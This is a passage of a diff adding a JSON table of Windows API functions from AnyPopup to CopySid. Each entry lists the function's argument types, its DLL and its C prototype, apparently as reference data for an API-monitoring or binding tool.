"function_name": "AnyPopup", + "arguments": [ + "" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL AnyPopup(VOID);" + }, + { + "function_name": "AppendMenuA", + "arguments": [ + "HMENU", + "UINT", + "UINT", + "LPCTSTR" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL AppendMenuA(HMENU hMenu, UINT uFlags, UINT uIDNewItem, LPCTSTR lpNewItem);" + }, + { + "function_name": "AppendMenuW", + "arguments": [ + "HMENU", + "UINT", + "UINT", + "LPCWSTR" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL AppendMenuW(HMENU hMenu, UINT uFlags, UINT uIDNewItem, LPCWSTR lpNewItem);" + }, + { + "function_name": "Arc", + "arguments": [ + "HDC", + "int", + "int", + "int", + "int", + "int", + "int", + "int", + "int" + ], + "dll_name": "gdi32.dll", + "full_prototype": "BOOL Arc( HDC hdc, int nLeftRect, int nTopRect, int nRightRect, int nBottomRect, int nXStartArc, int nYStartArc, int nXEndArc, int nYEndArc );" + }, + { + "function_name": "ArcTo", + "arguments": [ + "HDC", + "int", + "int", + "int", + "int", + "int", + "int", + "int", + "int" + ], + "dll_name": "gdi32.dll", + "full_prototype": "BOOL ArcTo( HDC hdc, int nLeftRect, int nTopRect, int nRightRect, int nBottomRect, int nXRadial1, int nYRadial1, int nXRadial2,int nYRadial2 );" + }, + { + "function_name": "AreAllAccessesGranted", + "arguments": [ + "DWORD", + "DWORD" + ], + "dll_name": "advapi32.dll", + "full_prototype": "BOOL AreAllAccessesGranted( DWORD GrantedAccess, DWORD DesiredAccess );" + }, + { + "function_name": "AreAnyAccessesGranted", + "arguments": [ + "DWORD", + "DWORD" + ], + "dll_name": "advapi32.dll", + "full_prototype": "BOOL AreAnyAccessesGranted( DWORD GrantedAccess,DWORD DesiredAccess );" + }, + { + "function_name": "AreFileApisANSI", + "arguments": [ + "" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL AreFileApisANSI(VOID);" + }, + { + "function_name": "ArrangeIconicWindows", + "arguments": [ + "HWND" + ], + "dll_name": "user32.dll", + "full_prototype": "UINT ArrangeIconicWindows(HWND hWnd);" + }, + { + "function_name": "AttachThreadInput", + "arguments": [ + "DWORD", + "DWORD", + "BOOL" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL AttachThreadInput( DWORD idAttach, DWORD idAttachTo, BOOL fAttach );" + }, + { + "function_name": "auxGetDevCapsA", + "arguments": [ + "UINT", + "LPAUXCAPS", + "UINT" + ], + "dll_name": "winmm.dll", + "full_prototype": "MMRESULT auxGetDevCaps(UINT uDeviceID, LPAUXCAPS lpCaps, UINT cbCaps);" + }, + { + "function_name": "auxGetNumDevs", + "arguments": [ + "" + ], + "dll_name": "winmm.dll", + "full_prototype": "UINT auxGetNumDevs(void);" + }, + { + "function_name": "BackupEventLogA", + "arguments": [ + "HANDLE", + "LPCTSTR" + ], + "dll_name": "advapi32.dll", + "full_prototype": "BOOL BackupEventLogA( HANDLE hEventLog, LPCTSTR lpBackupFileName );" + }, + { + "function_name": "BackupEventLogW", + "arguments": [ + "HANDLE", + "LPCWSTR" + ], + "dll_name": "advapi32.dll", + "full_prototype": "BOOL BackupEventLogW( HANDLE hEventLog, LPCWSTR lpBackupFileName );" + }, + { + "function_name": "BackupRead", + "arguments": [ + "HANDLE", + "LPBYTE", + "DWORD", + "LPDWORD", + "BOOL", + "BOOL", + "LPVOID" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL BackupRead( HANDLE hFile, LPBYTE lpBuffer, DWORD nNumberOfBytesToRead, LPDWORD lpNumberOfBytesRead, BOOL bAbort, BOOL bProcessSecurity, LPVOID *lpContext );" + }, + { + "function_name": "BackupSeek", + "arguments": [ + "HANDLE", + "DWORD", + "DWORD", + "LPDWORD", + "LPDWORD", + "LPVOID *" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL BackupSeek( HANDLE hFile, DWORD dwLowBytesToSeek, DWORD dwHighBytesToSeek, LPDWORD lpdwLowByteSeeked, LPDWORD lpdwHighByteSeeked, LPVOID * lpContext );" + }, + { + "function_name": "BackupWrite", + "arguments": [ + "HANDLE", + "LPBYTE", + "DWORD", + "LPDWORD", + "BOOL", + "BOOL", + "LPVOID" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL BackupWrite( HANDLE hFile, LPBYTE lpBuffer, DWORD nNumberOfBytesToWrite, LPDWORD lpNumberOfBytesWritten, BOOL bAbort, BOOL bProcessSecurity, LPVOID *lpContext );" + }, + { + "function_name": "Beep", + "arguments": [ + "UInt32", + "UInt32" + ], + "dll_name": "kernel32.dll", + "full_prototype": "bool Beep(UInt32 dwFreq, UInt32 dwDuration);" + }, + { + "function_name": "BeginDeferWindowPos", + "arguments": [ + "int" + ], + "dll_name": "user32.dll", + "full_prototype": "HDWP BeginDeferWindowPos(int nNumWindows);" + }, + { + "function_name": "BeginPaint", + "arguments": [ + "HWND", + "LPPAINTSTRUCT" + ], + "dll_name": "user32.dll", + "full_prototype": "HDC BeginPaint(HWND hwnd, LPPAINTSTRUCT lpPaint);" + }, + { + "function_name": "BeginPath", + "arguments": [ + "HDC" + ], + "dll_name": "gdi32.dll", + "full_prototype": "BOOL BeginPath(HDC hdc);" + }, + { + "function_name": "BeginUpdateResourceA", + "arguments": [ + "LPCTSTR", + "BOOL" + ], + "dll_name": "kernel32.dll", + "full_prototype": "HANDLE BeginUpdateResourceA( LPCTSTR pFileName, BOOL bDeleteExistingResources );" + }, + { + "function_name": "BeginUpdateResourceW", + "arguments": [ + "LPCWSTR", + "BOOL" + ], + "dll_name": "kernel32.dll", + "full_prototype": "HANDLE BeginUpdateResourceW(LPCWSTR pFileName,BOOL bDeleteExistingResources);" + }, + { + "function_name": "BitBlt", + "arguments": [ + "HDC", + "int", + "int", + "int", + "int", + "HDC", + "int", + "int", + "DWORD" + ], + "dll_name": "gdi32.dll", + "full_prototype": "BOOL BitBlt( HDC hdcDest, int nXDest, int nYDest, int nWidth, int nHeight, HDC hdcSrc, int nXSrc, int nYSrc, DWORD dwRop );" + }, + { + "function_name": "BlockInput", + "arguments": [ + "BOOL" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL BlockInput(BOOL fBlockIt);" + }, + { + "function_name": "BringWindowToTop", + "arguments": [ + "HWND" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL BringWindowToTop(HWND hWnd);" + }, + { + "function_name": "BroadcastSystemMessageA", + "arguments": [ + "DWORD", + "LPDWORD", + "UINT", + "WPARAM", + "LPARAM" + ], + "dll_name": "user32.dll", + "full_prototype": "long BroadcastSystemMessageA(DWORD dwFlags, LPDWORD lpdwRecipients, UINT uiMessage, WPARAM wParam, LPARAM lParam);" + }, + { + "function_name": "BroadcastSystemMessageW", + "arguments": [ + "DWORD", + "LPDWORD", + "UINT", + "WPARAM", + "LPARAM" + ], + "dll_name": "user32.dll", + "full_prototype": "long BroadcastSystemMessageW(DWORD dwFlags, LPDWORD lpdwRecipients, UINT uiMessage, WPARAM wParam, LPARAM lParam);" + }, + { + "function_name": "BuildCommDCBA", + "arguments": [ + "LPCTSTR", + "LPDCB" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL BuildCommDCBA( LPCTSTR lpDef, LPDCB lpDCB );" + }, + { + "function_name": "BuildCommDCBW", + "arguments": [ + "LPCWSTR", + "LPDCB" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL BuildCommDCBW(LPCWSTR devid, LPDCB lpdcb);" + }, + { + "function_name": "BuildCommDCBAndTimeoutsA", + "arguments": [ + "LPCTSTR", + "LPDCB", + "LPCOMMTIMEOUTS" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL BuildCommDCBAndTimeoutsA( LPCTSTR lpDef, LPDCB lpDCB, LPCOMMTIMEOUTS lpCommTimeouts );" + }, + { + "function_name": "BuildCommDCBAndTimeoutsW", + "arguments": [ + "LPCWSTR", + "LPDCB", + "LPCOMMTIMEOUTS" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL BuildCommDCBAndTimeoutsW( LPCWSTR devid, LPDCB lpdcb, LPCOMMTIMEOUTS lptimeouts );" + }, + { + "function_name": "CallMsgFilterA", + "arguments": [ + "LPMSG", + "int" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL CallMsgFilterA(LPMSG lpMsg,int nCode);" + }, + { + "function_name": "CallMsgFilterW", + "arguments": [ + "LPMSG", + "int" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL CallMsgFilterW(LPMSG lpMsg,int nCode);" + }, + { + "function_name": "CallNamedPipeA", + "arguments": [ + "LPCTSTR", + "LPVOID", + "DWORD", + "LPVOID", + "DWORD", + "LPDWORD", + "DWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL CallNamedPipeA( LPCTSTR lpNamedPipeName, LPVOID lpInBuffer, DWORD nInBufferSize, LPVOID lpOutBuffer, DWORD nOutBufferSize, LPDWORD lpBytesRead, DWORD nTimeOut );" + }, + { + "function_name": "CallNamedPipeW", + "arguments": [ + "LPCWSTR", + "PVOID", + "DWORD", + "LPVOID", + "DWORD", + "PDWORD", + "DWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL CallNamedPipeW( LPCWSTR lpNamedPipeName, PVOID lpInBuffer, DWORD nInBufferSize, LPVOID lpOutBuffer, DWORD nOutBufferSize, PDWORD lpBytesRead, DWORD nTimeOut );" + }, + { + "function_name": "CallNextHookEx", + "arguments": [ + "HHOOK", + "int", + "WPARAM", + "LPARAM" + ], + "dll_name": "user32.dll", + "full_prototype": "LRESULT CallNextHookEx(HHOOK hhk, int nCode, WPARAM wParam, LPARAM lParam);" + }, + { + "function_name": "CallWindowProcA", + "arguments": [ + "WNDPROC", + "HWND", + "UINT", + "WPARAM", + "LPARAM" + ], + "dll_name": "user32.dll", + "full_prototype": "LRESULT CallWindowProcA(WNDPROC lpPrevWndFunc, HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam);" + }, + { + "function_name": "CallWindowProcW", + "arguments": [ + "WNDPROC", + "HWND", + "UINT", + "WPARAM", + "LPARAM" + ], + "dll_name": "user32.dll", + "full_prototype": "LRESULT CallWindowProcW(WNDPROC func, HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam);" + }, + { + "function_name": "CancelDC", + "arguments": [ + "HDC" + ], + "dll_name": "gdi32.dll", + "full_prototype": "BOOL CancelDC(HDC hdc);" + }, + { + "function_name": "CancelIo", + "arguments": [ + "HANDLE" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL CancelIo(HANDLE handle);" + }, + { + "function_name": "CancelWaitableTimer", + "arguments": [ + "HANDLE" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL CancelWaitableTimer(HANDLE hTimer);" + }, + { + "function_name": "CascadeWindows", + "arguments": [ + "HWND", + "UINT", + "CONST RECT *", + "UINT", + "const HWND FAR *" + ], + "dll_name": "user32.dll", + "full_prototype": "WORD CascadeWindows(HWND hwndParent, UINT wHow,CONST RECT * lpRect,UINT cKids, const HWND FAR * lpKids);" + }, + { + "function_name": "ChangeClipboardChain", + "arguments": [ + "HWND", + "HWND" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL ChangeClipboardChain(HWND hWndRemove,HWND hWndNewNext);" + }, + { + "function_name": "ChangeDisplaySettingsA", + "arguments": [ + "LPDEVMODE", + "DWORD" + ], + "dll_name": "user32.dll", + "full_prototype": "LONG ChangeDisplaySettingsA(LPDEVMODE lpDevMode, DWORD dwflags);" + }, + { + "function_name": "ChangeDisplaySettingsW", + "arguments": [ + "PDEVMODEW", + "DWORD" + ], + "dll_name": "user32.dll", + "full_prototype": "LONG ChangeDisplaySettingsW(PDEVMODEW lpDevMode, DWORD dwflags);" + }, + { + "function_name": "ChangeDisplaySettingsExA", + "arguments": [ + "LPCTSTR", + "DEVMODE", + "HWND", + "DWORD", + "LPVOID" + ], + "dll_name": "user32.dll", + "full_prototype": "LONG ChangeDisplaySettingsExA(LPCTSTR lpszDeviceName, DEVMODE *lpDevMode, HWND hwnd, DWORD dwflags, LPVOID lParam);" + }, + { + "function_name": "ChangeDisplaySettingsExW", + "arguments": [ + "LPCWSTR", + "LPDEVMODEW", + "HWND", + "DWORD", + "LPVOID" + ], + "dll_name": "user32.dll", + "full_prototype": "LONG ChangeDisplaySettingsExW(LPCWSTR lpszDeviceName, LPDEVMODEW *lpDevMode, HWND hwnd, DWORD dwflags, LPVOID lParam);" + }, + { + "function_name": "ChangeMenuA", + "arguments": [ + "HMENU", + "UINT", + "LPCSTR", + "UINT", + "UINT" + ], + "dll_name": "user32.dll", + "full_prototype": "int ChangeMenuA(HMENU hMenu, UINT wID, LPCSTR lpszNew, UINT wIDNew, UINT wChange);" + }, + { + "function_name": "ChangeMenuW", + "arguments": [ + "HMENU", + "UINT", + "LPCWSTR", + "UINT", + "UINT" + ], + "dll_name": "user32.dll", + "full_prototype": "int ChangeMenuW(HMENU hMenu, UINT wID, LPCWSTR lpszNew, UINT wIDNew, UINT wChange);" + }, + { + "function_name": "CharLowerA", + "arguments": [ + "LPTSTR" + ], + "dll_name": "user32.dll", + "full_prototype": "LPTSTR CharLowerA(LPTSTR lpsz);" + }, + { + "function_name": "CharLowerBuffA", + "arguments": [ + "LPTSTR", + "DWORD" + ], + "dll_name": "user32.dll", + "full_prototype": "DWORD CharLowerBuffA(LPTSTR lpsz, DWORD cchLength);" + }, + { + "function_name": "CharLowerBuffW", + "arguments": [ + "LPWSTR", + "DWORD" + ], + "dll_name": "user32.dll", + "full_prototype": "DWORD CharLowerBuffW(LPWSTR lpsz, DWORD cchLength);" + }, + { + "function_name": "CharLowerW", + "arguments": [ + "LPWSTR" + ], + "dll_name": "user32.dll", + "full_prototype": "LPWSTR CharLowerW(LPWSTR lpsz);" + }, + { + "function_name": "CharNextA", + "arguments": [ + "LPCTSTR" + ], + "dll_name": "user32.dll", + "full_prototype": "LPTSTR CharNextA(LPCTSTR lpsz);" + }, + { + "function_name": "CharNextExA", + "arguments": [ + "WORD", + "LPCSTR", + "DWORD" + ], + "dll_name": "user32.dll", + "full_prototype": "LPSTR CharNextExA(WORD CodePage, LPCSTR lpCurrentChar, DWORD dwFlags);" + }, + { + "function_name": "CharNextW", + "arguments": [ + "LPCWSTR" + ], + "dll_name": "user32.dll", + "full_prototype": "LPWSTR CharNextW(LPCWSTR lpsz);" + }, + { + "function_name": "CharPrevA", + "arguments": [ + "LPCTSTR", + "LPCTSTR" + ], + "dll_name": "user32.dll", + "full_prototype": "LPTSTR CharPrevA(LPCTSTR lpszStart, LPCTSTR lpszCurrent);" + }, + { + "function_name": "CharPrevExA", + "arguments": [ + "WORD", + "LPCSTR", + "LPCSTR", + "DWORD" + ], + "dll_name": "user32.dll", + "full_prototype": "LPSTR CharPrevExA(WORD CodePage, LPCSTR lpStart, LPCSTR lpCurrentChar, DWORD dwFlags);" + }, + { + "function_name": "CharPrevW", + "arguments": [ + "LPCWSTR", + "LPCWSTR" + ], + "dll_name": "user32.dll", + "full_prototype": "LPWSTR CharPrevW(LPCWSTR lpszStart, LPCWSTR lpszCurrent);" + }, + { + "function_name": "CharToOemA", + "arguments": [ + "LPCTSTR", + "LPSTR" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL CharToOemA(LPCTSTR lpszSrc, LPSTR lpszDst);" + }, + { + "function_name": "CharToOemBuffA", + "arguments": [ + "LPCTSTR", + "LPSTR", + "DWORD" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL CharToOemBuffA(LPCTSTR lpszSrc, LPSTR lpszDst, DWORD cchDstLength);" + }, + { + "function_name": "CharToOemBuffW", + "arguments": [ + "LPCWSTR", + "LPSTR", + "DWORD" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL CharToOemBuffW(LPCWSTR lpszSrc, LPSTR lpszDst, DWORD cchDstLength);" + }, + { + "function_name": "CharToOemW", + "arguments": [ + "LPCWSTR", + "LPSTR" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL CharToOemW(LPCWSTR lpszSrc, LPSTR lpszDst);" + }, + { + "function_name": "CharUpperA", + "arguments": [ + "LPTSTR" + ], + "dll_name": "user32.dll", + "full_prototype": "LPTSTR CharUpperA(LPTSTR lpsz);" + }, + { + "function_name": "CharUpperBuffA", + "arguments": [ + "LPTSTR", + "DWORD" + ], + "dll_name": "user32.dll", + "full_prototype": "DWORD CharUpperBuffA(LPTSTR lpsz, DWORD cchLength);" + }, + { + "function_name": "CharUpperBuffW", + "arguments": [ + "LPWSTR", + "DWORD" + ], + "dll_name": "user32.dll", + "full_prototype": "DWORD CharUpperBuffW(LPWSTR lpsz, DWORD cchLength);" + }, + { + "function_name": "CharUpperW", + "arguments": [ + "LPWSTR" + ], + "dll_name": "user32.dll", + "full_prototype": "LPWSTR CharUpperW(LPWSTR lpsz);" + }, + { + "function_name": "CheckColorsInGamut", + "arguments": [ + "HDC", + "LPVOID", + "LPVOID", + "DWORD" + ], + "dll_name": "gdi32.dll", + "full_prototype": "BOOL CheckColorsInGamut(HDC hdc, LPVOID lpaRGBQuad, LPVOID lpResult, DWORD nCount);" + }, + { + "function_name": "CheckDlgButton", + "arguments": [ + "HWND", + "int", + "UINT" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL CheckDlgButton(HWND hDlg, int nIDButton, UINT uCheck);" + }, + { + "function_name": "CheckMenuItem", + "arguments": [ + "HMENU", + "UINT", + "UINT" + ], + "dll_name": "user32.dll", + "full_prototype": "DWORD CheckMenuItem(HMENU hmenu, UINT uIDCheckItem, UINT uCheck);" + }, + { + "function_name": "CheckMenuRadioItem", + "arguments": [ + "HMENU", + "UINT", + "UINT", + "UINT", + "UINT" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL CheckMenuRadioItem(HMENU hmenu, UINT idFirst, UINT idLast, UINT idCheck, UINT uFlags);" + }, + { + "function_name": "CheckRadioButton", + "arguments": [ + "HWND", + "int", + "int", + "int" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL CheckRadioButton(HWND hDlg, int nIDFirstButton, int nIDLastButton, int nIDCheckButton);" + }, + { + "function_name": "ChildWindowFromPoint", + "arguments": [ + "HWND", + "POINT" + ], + "dll_name": "user32.dll", + "full_prototype": "HWND ChildWindowFromPoint(HWND hWndParent, POINT Point);" + }, + { + "function_name": "ChildWindowFromPointEx", + "arguments": [ + "HWND", + "POINT", + "UINT" + ], + "dll_name": "user32.dll", + "full_prototype": "HWND ChildWindowFromPointEx(HWND hwndParent, POINT pt, UINT uFlags);" + }, + { + "function_name": "ChooseColorA", + "arguments": [ + "LPCHOOSECOLOR" + ], + "dll_name": "comdlg32.dll", + "full_prototype": "BOOL ChooseColorA(LPCHOOSECOLOR lpcc);" + }, + { + "function_name": "ChooseFontA", + "arguments": [ + "LPCHOOSEFONT" + ], + "dll_name": "comdlg32.dll", + "full_prototype": "BOOL ChooseFontA(LPCHOOSEFONT lpcf);" + }, + { + "function_name": "ChoosePixelFormat", + "arguments": [ + "HDC", + "const PIXELFORMATDESCRIPTOR" + ], + "dll_name": "gdi32.dll", + "full_prototype": "int ChoosePixelFormat(HDC hdc, const PIXELFORMATDESCRIPTOR *ppfd);" + }, + { + "function_name": "Chord", + "arguments": [ + "HDC", + "int", + "int", + "int", + "int", + "int", + "int", + "int", + "int" + ], + "dll_name": "gdi32.dll", + "full_prototype": "BOOL Chord(HDC hdc, int nLeftRect, int nTopRect, int nRightRect, int nBottomRect, int nXRadial1, int nYRadial1, int nXRadial2, int nYRadial2);" + }, + { + "function_name": "ClearCommBreak", + "arguments": [ + "HANDLE" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL ClearCommBreak(HANDLE hFile);" + }, + { + "function_name": "ClearCommError", + "arguments": [ + "HANDLE", + "LPDWORD", + "LPCOMSTAT" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL ClearCommError( HANDLE hFile, LPDWORD lpErrors, LPCOMSTAT lpStat );" + }, + { + "function_name": "ClearEventLogA", + "arguments": [ + "HANDLE", + "LPCTSTR" + ], + "dll_name": "advapi32.dll", + "full_prototype": "BOOL ClearEventLogA( HANDLE hEventLog, LPCTSTR lpBackupFileName );" + }, + { + "function_name": "ClearEventLogW", + "arguments": [ + "HANDLE", + "LPCWSTR" + ], + "dll_name": "advapi32.dll", + "full_prototype": "BOOL ClearEventLogW( HANDLE hEventLog, LPCWSTR lpBackupFileName );" + }, + { + "function_name": "ClientToScreen", + "arguments": [ + "HWND", + "LPPOINT" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL ClientToScreen(HWND hWnd,LPPOINT lpPoint);" + }, + { + "function_name": "ClipCursor", + "arguments": [ + "CONST RECT *" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL ClipCursor(CONST RECT * lpRect);" + }, + { + "function_name": "CloseClipboard", + "arguments": [ + "" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL CloseClipboard(VOID);" + }, + { + "function_name": "CloseDesktop", + "arguments": [ + "HDESK" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL CloseDesktop(HDESK hDesktop);" + }, + { + "function_name": "CloseEnhMetaFile", + "arguments": [ + "HDC" + ], + "dll_name": "gdi32.dll", + "full_prototype": "HENHMETAFILE CloseEnhMetaFile(HDC hdc);" + }, + { + "function_name": "CloseEventLog", + "arguments": [ + "HANDLE" + ], + "dll_name": "advapi32.dll", + "full_prototype": "BOOL CloseEventLog(HANDLE hEventLog);" + }, + { + "function_name": "CloseFigure", + "arguments": [ + "HDC" + ], + "dll_name": "gdi32.dll", + "full_prototype": "BOOL CloseFigure(HDC hdc);" + }, + { + "function_name": "CloseHandle", + "arguments": [ + "HANDLE" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL CloseHandle(HANDLE hObject);" + }, + { + "function_name": "CloseMetaFile", + "arguments": [ + "HDC" + ], + "dll_name": "gdi32.dll", + "full_prototype": "HMETAFILE CloseMetaFile(HDC hdc);" + }, + { + "function_name": "ClosePrinter", + "arguments": [ + "HANDLE" + ], + "dll_name": "winspool.drv", + "full_prototype": "BOOL ClosePrinter(HANDLE hPrinter);" + }, + { + "function_name": "CloseWindow", + "arguments": [ + "HWND" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL CloseWindow(HWND hWnd);" + }, + { + "function_name": "CloseWindowStation", + "arguments": [ + "HWINSTA" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL CloseWindowStation(HWINSTA hWinSta);" + }, + { + "function_name": "CoCreateGuid", + "arguments": [ + "GUID *" + ], + "dll_name": "ole32.dll", + "full_prototype": "HRESULT CoCreateGuid(GUID * pguid);" + }, + { + "function_name": "ColorMatchToTarget", + "arguments": [ + "HDC", + "HDC", + "DWORD" + ], + "dll_name": "gdi32.dll", + "full_prototype": "BOOL ColorMatchToTarget(HDC hdc, HDC hdcTarget, DWORD uiAction);" + }, + { + "function_name": "CombineRgn", + "arguments": [ + "HRGN", + "HRGN", + "HRGN", + "int" + ], + "dll_name": "gdi32.dll", + "full_prototype": "int CombineRgn(HRGN hrgnDest, HRGN hrgnSrc1, HRGN hrgnSrc2, int fnCombineMode);" + }, + { + "function_name": "CombineTransform", + "arguments": [ + "LPXFORM", + "const XFORM", + "const XFORM" + ], + "dll_name": "gdi32.dll", + "full_prototype": "BOOL CombineTransform(LPXFORM lpxformResult, const XFORM *lpxform1, const XFORM *lpxform2);" + }, + { + "function_name": "CommConfigDialogA", + "arguments": [ + "LPTSTR", + "HWND", + "LPCOMMCONFIG", + "" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL CommConfigDialogA( LPTSTR lpszName, HWND hWnd, LPCOMMCONFIG lpCC, );" + }, + { + "function_name": "CommConfigDialogW", + "arguments": [ + "LPCWSTR", + "HWND", + "LPCOMMCONFIG" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL CommConfigDialogW( LPCWSTR lpszDevice, HWND hWnd, LPCOMMCONFIG lpCommConfig );" + }, + { + "function_name": "CompareFileTime", + "arguments": [ + "CONST FILETIME", + "CONST FILETIME" + ], + "dll_name": "kernel32.dll", + "full_prototype": "LONG CompareFileTime( CONST FILETIME *lpFileTime1, CONST FILETIME *lpFileTime2 );" + }, + { + "function_name": "CompareStringA", + "arguments": [ + "LCID", + "DWORD", + "LPCTSTR", + "int", + "LPCTSTR", + "int" + ], + "dll_name": "kernel32.dll", + "full_prototype": "int CompareStringA(LCID Locale, DWORD dwCmpFlags, LPCTSTR lpString1, int cchCount1, LPCTSTR lpString2, int cchCount2 );" + }, + { + "function_name": "CompareStringW", + "arguments": [ + "LCID", + "DWORD", + "LPCWSTR", + "INT", + "LPCWSTR", + "INT" + ], + "dll_name": "kernel32.dll", + "full_prototype": "INT CompareStringW( LCID lcid, DWORD style, LPCWSTR str1, INT len1, LPCWSTR str2, INT len2 );" + }, + { + "function_name": "ConfigurePortA", + "arguments": [ + "LPTSTR", + "HWND", + "LPTSTR" + ], + "dll_name": "winspool.drv", + "full_prototype": "BOOL ConfigurePortA(LPTSTR pName,HWND hWnd,LPTSTR pPortName);" + }, + { + "function_name": "ConnectNamedPipe", + "arguments": [ + "HANDLE", + "LPOVERLAPPED" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL ConnectNamedPipe( HANDLE hNamedPipe, LPOVERLAPPED lpOverlapped );" + }, + { + "function_name": "ContinueDebugEvent", + "arguments": [ + "DWORD", + "DWORD", + "DWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL ContinueDebugEvent( DWORD dwProcessId, DWORD dwThreadId, DWORD dwContinueStatus );" + }, + { + "function_name": "ConvertDefaultLocale", + "arguments": [ + "LCID" + ], + "dll_name": "kernel32.dll", + "full_prototype": "LCID ConvertDefaultLocale(LCID Locale);" + }, + { + "function_name": "ConvertThreadToFiber", + "arguments": [ + "LPVOID" + ], + "dll_name": "kernel32.dll", + "full_prototype": "LPVOID ConvertThreadToFiber(LPVOID lpParameter);" + }, + { + "function_name": "CopyAcceleratorTableA", + "arguments": [ + "HACCEL", + "LPACCEL", + "int" + ], + "dll_name": "user32.dll", + "full_prototype": "int CopyAcceleratorTableA(HACCEL hAccelSrc, LPACCEL lpAccelDst, int cAccelEntries);" + }, + { + "function_name": "CopyAcceleratorTableW", + "arguments": [ + "HACCEL", + "LPACCEL", + "int" + ], + "dll_name": "user32.dll", + "full_prototype": "int CopyAcceleratorTableW(HACCEL hAccelSrc, LPACCEL lpAccelDst, int cAccelEntries);" + }, + { + "function_name": "CopyEnhMetaFileA", + "arguments": [ + "HENHMETAFILE", + "LPCTSTR" + ], + "dll_name": "gdi32.dll", + "full_prototype": "HENHMETAFILE CopyEnhMetaFileA(HENHMETAFILE hemfSrc, LPCTSTR lpszFile);" + }, + { + "function_name": "CopyEnhMetaFileW", + "arguments": [ + "HENHMETAFILE", + "LPCWSTR" + ], + "dll_name": "gdi32.dll", + "full_prototype": "HENHMETAFILE CopyEnhMetaFileW(HENHMETAFILE hmfSrc, LPCWSTR file);" + }, + { + "function_name": "CopyFileA", + "arguments": [ + "LPCTSTR", + "LPCTSTR", + "BOOL" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL CopyFileA(LPCTSTR lpExistingFileName,LPCTSTR lpNewFileName,BOOL bFailIfExists);" + }, + { + "function_name": "CopyFileExA", + "arguments": [ + "LPCSTR", + "LPCSTR", + "LPPROGRESS_ROUTINE", + "LPVOID", + "LPBOOL", + "DWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL CopyFileExA(LPCSTR lpExistingFileName, LPCSTR lpNewFileName, LPPROGRESS_ROUTINE lpProgressRoutine, LPVOID lpData, LPBOOL pbCancel, DWORD dwCopyFlags);" + }, + { + "function_name": "CopyFileExW", + "arguments": [ + "LPCWSTR", + "LPCWSTR", + "LPPROGRESS_ROUTINE", + "LPVOID", + "LPBOOL", + "DWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL CopyFileExW(LPCWSTR lpExistingFileName, LPCWSTR lpNewFileName, LPPROGRESS_ROUTINE lpProgressRoutine, LPVOID lpData, LPBOOL pbCancel, DWORD dwCopyFlags);" + }, + { + "function_name": "CopyFileW", + "arguments": [ + "WCHAR", + "WCHAR", + "BOOL" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL CopyFileW( WCHAR *from, WCHAR *to, BOOL bFailIfExists);" + }, + { + "function_name": "CopyIcon", + "arguments": [ + "HICON" + ], + "dll_name": "user32.dll", + "full_prototype": "HICON CopyIcon(HICON hIcon);" + }, + { + "function_name": "CopyImage", + "arguments": [ + "HANDLE", + "UINT", + "int", + "int", + "UINT" + ], + "dll_name": "user32.dll", + "full_prototype": "HANDLE CopyImage(HANDLE hImage, UINT uType,int cxDesired, int cyDesired,UINT fuFlags);" + }, + { + "function_name": "CopyMetaFileA", + "arguments": [ + "HMETAFILE", + "LPCTSTR" + ], + "dll_name": "gdi32.dll", + "full_prototype": "HMETAFILE CopyMetaFileA(HMETAFILE hmfSrc, LPCTSTR lpszFile);" + }, + { + "function_name": "CopyMetaFileW", + "arguments": [ + "HMETAFILE", + "LPCWSTR" + ], + "dll_name": "gdi32.dll", + "full_prototype": "HMETAFILE CopyMetaFileW(HMETAFILE hSrcMetaFile, LPCWSTR lpFilename);" + }, + { + "function_name": "CopyRect", + "arguments": [ + "LPRECT", + "CONST RECT" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL CopyRect(LPRECT lprcDst, CONST RECT *lprcSrc);" + }, + { + "function_name": "CopySid", + "arguments": [ + "DWORD", + "PSID", + "PSID" + ], + "dll_name": "advapi32.dll", + "full_prototype": "BOOL CopySid( DWORD nDestinationSidLength, 